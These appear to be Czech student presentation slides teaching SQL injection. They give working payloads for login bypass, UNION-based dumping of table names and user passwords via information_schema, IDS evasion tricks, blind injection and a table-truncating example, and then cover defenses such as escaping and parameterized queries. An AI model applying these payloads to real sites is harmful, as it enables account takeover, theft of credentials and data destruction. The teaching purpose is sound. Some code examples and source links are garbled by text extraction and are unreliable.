Michalčík, Valnoha
Základní informace SQL - strukturovaný dotazovací jazyk využívaný v relačních databázích pro práci s daty Injection – vsunutí něčeho někam
SQL Injection SQL Injection = souhrnné označení pro bezpečnostní chyby (díry), které umožní vsouvat do SQL kódu internetové aplikace vlastní informace, které umožní změnit smysl původních SQL dotazů.
SQL Injection - aplikace Provádí se pomocí neošetřených vstupů webové aplikace Formuláře (POST/GET) Parametry URI HTTP/XML/SOAP komunikace (nezapomenout na Cookies) "Importy" souborů
Typy útoků Inband – přímý útok Výsledky se zobrazují přímo na stránce v prohlížeči Out-of-band – nepřímý útok Výsledky se zobrazují jinde (např. přijdou útočníkovi na ) Blind – útok naslepo Výsledky nejsou dostupné
Čeho tím lze dosáhnout? Lze získat přístup k citlivým datům (například uživatelská hesla, skryté y atd.) přístup k jakémukoliv, například administrátorskému účtu na webu přístup ke všem účtům naráz Také lze smazat všechna data v tabulkách – ne vždy možné Často mívají mutace SQL, nebo samotné programovací jazyky (např. PHP) svojí vnitřní ochranu
Příprava na útok Průzkum terénu Pohrát si se vstupy ○ Vložení apostrofu – vyvolá sql error ○ True/false dotazy (1=1, 1=0)
Ukázka děravé aplikace
Případ první – hrajeme si na administrátora 1/4 Přihlašovací formuláře využívají databází k archivaci nejrůznějších informací (např. přihlašovacích údajů) Klasický SQL dotaz pro přihlášení: SELECT * FROM users WHERE login='$nick' AND password='$passwd' ○ Co se stane, když do kolonky pro jméno vložíme apostrof?
Případ první – hrajeme si na administrátora 2/4 SELECT * FROM users WHERE login=''' AND password='' Zobrazí se SQL chyba víme, že aplikace je napadnutelná Využijeme síly komentářů: SELECT * FROM users WHERE login=''--' AND password='' Příkaz se vykoná bez chyby, ale stále nebudem přihlášeni – proč?
Případ první – hrajeme si na administrátora 3/4 Komentářem jsme odstranili potřebu hesla pro přihlášení Nyní jsou dvě možnosti Uhodnout přihlašovací jméno ○ Vyžaduje velkou dávku štěstí nebo trpělivosti Použít logické operátory ○ Vždy splněná podmínka (např. 1=1) SELECT * FROM users WHERE login='admin' OR 1=1--
Případ první – hrajeme si na administrátora 4/4 Přihlášení na účet, který je na prvním místě v tabulce users Většinou administrátorský, nebo testovací s admin právy Možné bypassy or 1=1-- " or 1=1-- " or "a"="a ') or ('a'='a ' or 'a'='a Atd.
Případ druhý - SQL Injection s využitím UNIONu 1/5 Účel stažení zajímavých dat v databázi Používá se v URL Např. article.php?id=15 SELECT * FROM articles WHERE id='$id' Oťukáme bezpečnost vstupu article.php?id=15 AND 15=0 ○ Když vyskočí chyba, můžeme dál
Případ druhý - SQL Injection s využitím UNIONu 2/5 Zjistíme počet sloupců v tabulce Použití ORDER BY ○ article.php?id=15 ORDER BY 2 ○ article.php?id=15 ORDER BY 3 ○... ○ article.php?id=15 ORDER BY 7 ok ○ article.php?id=15 ORDER BY 8 ok ○ article.php?id=15 ORDER BY 9 chyba – sloupců je o jeden méně
Případ druhý - SQL Injection s využitím UNIONu 3/5 Použijeme UNION Spojení více dotazů do jednoho ○ article.php?id=15 UNION ALL SELECT 1,2,3,4,5,6,7,8 ○ Pokud vše ok, místo článku se zobrazí jedno z čísel z rozsahu 1-8 (třeba 4) ○ Toto číslo v posloupnosti použijeme jako prostředek pro zobrazení výsledku dotazu
Případ druhý - SQL Injection s využitím UNIONu 4/5 Užitečné SQL funkce database() - vrací název aktuálně používané databáze user() - vrací uživatele, který je vlastníkem databáze version() - vrací verzi databáze now() - vrací aktuální informace o čase
Případ druhý - SQL Injection s využitím UNIONu 5/5 Příklad použití article.php?id=15 UNION ALL SELECT 1,2,3,version(),5,6,7,8 Pro zobrazení více funkcí použít funkci concat() nebo concat_ws(). Pro oddělení použít char() ○ article.php?i d=15 UNION ALL SELECT 1,2,3,concat(version(),char(58,58),user(),char(58, 58),database(),char(58,58),now()),5,6,7,8 ○ article.php?id=15 UNION ALL SELECT 1,2,3,concat_ws(char(58,58),version(),user(), database(),now()),5,6,7,8
Databáze information_schema 1/5 V MySQL verzi 5 a vyšší je defaultně obsažena a povolena Obsahuje řadu zajímavých tabulek tables columns user_privileges a další
Databáze information_schema 2/5 Jak se dostat k názvům tabulek v napadené databázi? article.php?id=15 UNION ALL SELECT 1,2,3,4,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() ○ Zajistí, že budeme pracovat pouze s „naší“ databází
Databáze information_schema 3/5 Použití klauzule LIMIT article.php?id=15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1,1 ○ 1. tabulka v databázi article.php?id=15 UNION ALL SELECT 1,2,3,table_name,5,6,7,8 FROM information_schema.tables WHERE table_schema=database() LIMIT 1,2 ○ 2. tabulka v databázi
Databáze information_schema 4/5 Využití funkce group_concat() seznam všech tabulek díky jedinému dotazu article.php?id=15 UNION ALL SELECT 1,2,3,group_concat(table_name),5,6,7,8 FROM information_schema.tables WHERE table_schema=database()
Databáze information_schema 5/5 Ze seznamu tabulek vybereme ty, které jsou pro nás zajímavé Např. našli jsme tabulku users a chceme zjistit názvy sloupců ○ Obdobný postup ○ article.php?id=15 UNION ALL SELECT 1,2,3,group_concat(column_name),5,6,7,8 FROM information_schema.columns WHERE table_name='users' ○ Z nich si můžeme vybrat jen ty, které chceme ○ article.php?id=15 UNION ALL SELECT 1,2,3,group_concat(nick,char(58),passwd,char(58),mail,char(58),priv),5,6,7,8 FROM users
Problém s apostrofy Problém detekce apostrofů může být způsoben buď nastavením serveru (magic_quotes_gpc) nebo přítomností IDS IDS = Intrusion Detection Systems ○ detekce apostrofů, mezer, konkrétních řetězců (UNION, SELECT) Drtivá většina mutací SQL obsahuje funkci char(), která bere argumenty jako: decimální ASCII hodnoty znaků oddělených čárkami hexadecimální ASCII hodnoty znaků ○ 0x a samotné hodnoty, řazeny přímo (bez mezer) za sebe 'user' == char(117,115,101,114) == 0x Apostrofy tedy nejsou potřeba
Další problémy Problém s mezerami Mezery lze nahradit znakem + nebo víceřádkovým komentářem /**/ ○ UNION+SELECT+ALL+1,2,3,4,5,6 UNION/**/SELECT/**/ALL/**/1,2,3,4,5,6 Problém detekce řetězců IDS skripty často berou v potaz řetězce jen malých, nebo jen velkých písmen, ty chytřejší obojí Ale už třeba ne kombinace velkých a malých písmen ○ uSeR, UsER, useR, USer, atd.
Blind SQL Injection 1/2 Administrátor je maličko chytřejší a vypne zobrazování sql errorů uživateli Pořád to ale neznamená, že aplikace není napadnutelná Protože nemáme viditelný výstup, pokládáme databázovému serveru otázky typu true/false Buď se stránka zobrazí, nebo ne ressReleaseID=5 AND USER_NAME() = 'admin' Jmenuje se aktuální uživatel admin?
Blind SQL Injection 2/2 Tímto stylem lze pokládat složitejší dotazy, třeba tak můžeme zjistit název databázové tabulky Nejlépe písmeno po písmenu p?pressReleaseID=5 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1, 1))) > 109
Ošetření vstupů Odstranění nebezpečných znaků Uvozovky Středníky Kontrola datových typů "select * from clanky where id='$id'"
Escapování 1/2 Převod znaků se speciálním významem na odpovídající sekvenci Nejčastěji jako escape sekvence konstrukce se znakem \
Escapování 2/2 PHP magic_quotes_gpc – DEPRECATED MySQL mysqli_real_escape_string() SQLite sqlite_escape_string() PostgreSQL pg_escape_string() "select * from clanky where id=".mysqli_real_escape_string($id);
PHP a MySQL PHP nepovoluje vykonání více SQL dotazů oddělených středníkem '; truncate tabulka; Nehrozí zobrazení zdrojových kódů
Parametrizované dotazy 1/2 Data předávána jako parametry V dotazu použity zástupné symboly Parametry nejsou parsovány jako SQL
Parametrizované dotazy 2/2 C# SqlParameter[ ] myparm = new SqlParameter[2]; myparm[0] = new myparm[1] = new "SELECT * FROM users WHERE AND Java PreparedStatement stmt = ….. stmt = …"INSERT INTO person (name, ) values (?, ?)"); stmt.setString(1, name); stmt.setString(2, );
Omezení oprávnění Webová aplikaci by měla mít co nejvíce omezená práva Potom i „úspěšný“ SQL injection útok bude mít omezený úspěch
Další doporučené postupy Uložené procedury Eliminace SQL Vypnout hlášení chyb Zjednodušuje útočníkovy práci
Zdroje QL-injection/ QL-injection/ security.org/dl/articles/Blind_SQLInjection.pdf security.org/dl/articles/Blind_SQLInjection.pdf